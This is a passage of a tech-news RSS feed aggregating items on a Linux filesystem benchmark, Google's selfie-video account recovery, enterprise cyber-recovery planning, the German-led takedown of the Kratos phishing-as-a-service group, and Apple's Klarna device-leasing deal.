<p>The post <a href="https://www.helpnetsecurity.com/2026/07/24/new-infosec-products-of-the-week-july-24-2026/">New infosec products of the week: July 24, 2026</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Adds Selfie Video Feature to Help Users Recover Locked Accounts Securely]]></title>
<description><![CDATA[Google has introduced a new identity verification feature called “selfie video” designed to help users regain access to locked accounts, marking a significant step in account recovery and authentication security. The feature aims to provide an additional sign-in method, especially useful when use...]]></description>
<link>https://tsecurity.de/de/3689132/it-security-nachrichten/google-adds-selfie-video-feature-to-help-users-recover-locked-accounts-securely/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689132/it-security-nachrichten/google-adds-selfie-video-feature-to-help-users-recover-locked-accounts-securely/</guid>
<pubDate>Thu, 23 Jul 2026 15:14:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has introduced a new identity verification feature called “selfie video” designed to help users regain access to locked accounts, marking a significant step in account recovery and authentication security. The feature aims to provide an additional sign-in method, especially useful when users lose access to their primary authentication devices. Announced by John Gronberg, Director […]</p>
<p>The post <a href="https://cybersecuritynews.com/google-adds-selfie-video-feature/">Google Adds Selfie Video Feature to Help Users Recover Locked Accounts Securely</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[IBM insists AI didn't kill software deals, just delayed them]]></title>
<description><![CDATA[Big Blue says customers postponed rather than abandoned major purchases as hardware soaked up enterprise budgets]]></description>
<link>https://tsecurity.de/de/3688970/it-nachrichten/ibm-insists-ai-didnt-kill-software-deals-just-delayed-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688970/it-nachrichten/ibm-insists-ai-didnt-kill-software-deals-just-delayed-them/</guid>
<pubDate>Thu, 23 Jul 2026 14:05:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big Blue says customers postponed rather than abandoned major purchases as hardware soaked up enterprise budgets]]></content:encoded>
</item>
<item>
<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google will let you upload a video selfie to recover your account - but should you?]]></title>
<description><![CDATA[Google's new account recovery option prompts users to upload a selfie to prove their identity. Here's what to know.]]></description>
<link>https://tsecurity.de/de/3688622/it-nachrichten/google-will-let-you-upload-a-video-selfie-to-recover-your-account-but-should-you/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688622/it-nachrichten/google-will-let-you-upload-a-video-selfie-to-recover-your-account-but-should-you/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google's new account recovery option prompts users to upload a selfie to prove their identity. Here's what to know.]]></content:encoded>
</item>
<item>
<title><![CDATA[German law enforcement claims to have ‘dismantled’ mega phishing-as-a-service group Kratos]]></title>
<description><![CDATA[A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. 



The effort was managed by German law enforcement and involved...]]></description>
<link>https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687784/it-security-nachrichten/german-law-enforcement-claims-to-have-dismantled-mega-phishing-as-a-service-group-kratos/</guid>
<pubDate>Thu, 23 Jul 2026 01:57:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia. </p>



<p class="wp-block-paragraph">The effort was managed by German law enforcement and involved agencies from the US, Indonesia and other countries.</p>



<p class="wp-block-paragraph">Although a <a href="https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2026/Presse2026/260720_PM_Kratos.html" target="_blank" rel="noreferrer noopener">German statement</a> claimed that the Kratos infrastructure “has been completely disabled” and that “Kratos-supported phishing campaigns can no longer be carried out,” cybersecurity analysts and consultants question how much of a dent in enterprise phishing activity will result, and how long it will last.</p>



<p class="wp-block-paragraph">“A server seizure and a single arrest overseas remove infrastructure, not the intellectual property,” said <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC. “PhaaS kits get cloned, forked and resold routinely, and the 1,800 Kratos customers didn’t vanish. They just lost a vendor in a market where vendors get replaced fast.”</p>



<p class="wp-block-paragraph">He added, “seizing 200-plus servers and arresting the developer pulls a major supplier out of that specific niche. It doesn’t touch the broader phishing economy. For every roach that you squish, there are a hundred that you do not see.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, takes an even more pessimistic view, arguing that there might not even be that much of a short-term phishing slowdown. </p>



<p class="wp-block-paragraph">“What makes this different from a botnet or ransomware takedown is that the people running the attacks were never part of the organization. Kratos was just a vendor,” Kenney said. “The 1,800 customers who bought it still have their target lists, their sending infrastructure and whatever access they had already established. The tooling went dark, but the people phishing your employees last week are still working, shopping for a replacement that already exists. Enterprises should not read this as a drop in (likely) threat volume.”</p>



<p class="wp-block-paragraph">One thing that the security community seems to agree on is that Kratos was a major player in the lucrative PhaaS space. But precisely determining the percentage of PhaaS activity controlled by Kratos is impossible, given that Kratos sold their kits to others. Security researchers even disagree on what they should call Kratos kits.</p>



<p class="wp-block-paragraph">“Microsoft tracks this kit as SneakyLog, others tie it to Sneaky 2FA, and KnowBe4 disputes the lineage entirely. When the security industry cannot agree on what a kit is to be called, that is because renaming and reselling is continuous rather than something that happens after a raid,” Kenney said. “What actually changed this time is the arrest and the [shutdown of the] servers. Standing up new hosting is only a weekend of work, but replacing a developer who understood how to keep an adversary in the middle proxy stable and evasive at scale is harder.”</p>



<p class="wp-block-paragraph">IDC’s Dickson added that the biggest value from the takedown is in the information gleaned from the seized servers. </p>



<p class="wp-block-paragraph">“Kratos operated in the adversary-in-the-middle category, generating convincing fake Microsoft 365 login pages that harvest session tokens and step past MFA, the exact technique behind a lot of the business email compromise activity of the past two years,” he said. “I would love to see what law enforcement does with the customer list. That, my friend, is gold.”</p>



<p class="wp-block-paragraph">Regardless, <a href="https://www.linkedin.com/in/assafmo/" target="_blank" rel="noreferrer noopener">Assaf Morag</a>, a cybersecurity researcher at Flare, dubbed the German crackdown “symbolic,” given Kratos’ reach within phishing circles. </p>



<p class="wp-block-paragraph">He argued that the very nature of software makes it all but impossible to shut down in a meaningful way.</p>



<p class="wp-block-paragraph">“Although this is malicious infrastructure, it is still software, and modern development and deployment practices make it relatively quick to rebuild or replicate,” he said. “Demand is likely to shift to competing providers, allowing the ecosystem to recover even if this particular operation has been disrupted.”</p>



<p class="wp-block-paragraph"><a href="https://www.malwarebytes.com/blog/authors/metallicamvp" target="_blank" rel="noreferrer noopener">Pieter Arntz</a>, malware intelligence researcher at Malwarebytes, agreed that the crackdown is disruptive but not definitive. </p>



<p class="wp-block-paragraph">“This appears to be more than a routine website seizure. The reporting points to a PhaaS platform with centralized infrastructure, subscription-style customers, and Microsoft 365 session theft / MFA-bypass tooling, so taking down the backend likely hurts many downstream affiliates at once. In that sense, it is a meaningful disruption to the phishing ecosystem, not just one campaign,” Arntz said.</p>



<p class="wp-block-paragraph">But, he added, “a rebrand or partial re-emergence is plausible, which is the historical pattern for PhaaS operations. Even if the core infrastructure is gone, the code, customer lists, and operator tradecraft can survive.”</p>



<p class="wp-block-paragraph">This means that customers and affiliates can shift to other phishing kits, he said, so it’s likely that the takedown will create a temporary decline in Kratos-specific activity, but probably not a lasting reduction in phishing overall.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, also concluded that the impact of this crackdown will be short-lived. </p>



<p class="wp-block-paragraph">“For each criminal organization that is dismantled, ten new ones pop out of nowhere. Unless there is a coordinated international effort by more than a few countries, this is a whack-a-mole exercise,” he said. “These are all loosely connected individuals and akin to a lernaean hydra, with two heads growing whenever you chop off one. Their leadership emerges from their lines organically without a real center of control. This makes it almost impossible to completely eliminate these criminal organizations.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Partners With Klarna To Offer iPhones, Macs On a Subscription Basis]]></title>
<description><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need ...]]></description>
<link>https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687501/it-security-nachrichten/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis/</guid>
<pubDate>Wed, 22 Jul 2026 22:12:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need to pay extra," notes Computerworld. From the report: The introduction of the scheme gives consumers a way to purchase the company's popular high-end devices when they are introduced -- no doubt,at higher cost -- this fall. [...] A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. "Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do," [IDC analyst Francisco Jeronimo] wrote to me.
 
There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can't afford to own.
 
The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. "Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet," Jeronimo said. 
"Apple Upgrade lands at precisely the moment Apple needs it," Jeronimo wrote in a note seen by Computerworld. "Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September -- as well as the new iPhone foldable expected at $2,500 -- Apple's real risk is that rising prices even further can impact the upgrade cycle."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Apple+Partners+With+Klarna+To+Offer+iPhones%2C+Macs+On+a+Subscription+Basis%3A+https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F22%2F1958256%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fhardware.slashdot.org%2Fstory%2F26%2F07%2F22%2F1958256%2Fapple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://hardware.slashdot.org/story/26/07/22/1958256/apple-partners-with-klarna-to-offer-iphones-macs-on-a-subscription-basis?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



